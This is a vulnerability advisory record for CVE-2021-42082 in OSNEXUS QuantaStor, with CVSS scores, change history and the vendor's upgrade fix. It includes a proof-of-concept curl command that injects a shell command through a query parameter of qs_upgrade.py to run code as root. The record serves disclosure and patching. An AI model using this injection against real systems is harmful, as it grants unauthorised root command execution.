Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Advisories
Source ID Title
EUVD EUVD EUVD-2021-29068 Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Fixes

Solution

Upgrade to the latest version of OSNEXUS QuantaStor.


Workaround

No workaround given by the vendor.

History

Mon, 22 Sep 2025 06:45:00 +0000

Type Values Removed Values Added
Description Local users are able to execute scripts under root privileges. Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Fri, 22 Nov 2024 12:00:00 +0000

Type Values Removed Values Added
References

Tue, 12 Nov 2024 15:15:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}


Wed, 16 Oct 2024 12:30:00 +0000

Type Values Removed Values Added
References

Wed, 16 Oct 2024 12:00:00 +0000

Type Values Removed Values Added
References
Metrics cvssV3_1

{'score': 7.1, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N'}

cvssV3_1

{'score': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}


cve-icon MITRE

Status: PUBLISHED

Assigner: DIVD

Published:

Updated: 2025-09-22T06:40:10.543Z

Reserved: 2021-10-07T17:12:57.678Z

Link: CVE-2021-42082

cve-icon Vulnrichment

Updated: 2024-08-04T03:22:25.967Z

cve-icon NVD

Status : Modified

Published: 2023-07-10T16:15:47.637

Modified: 2025-09-22T07:15:39.840

Link: CVE-2021-42082

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

No data.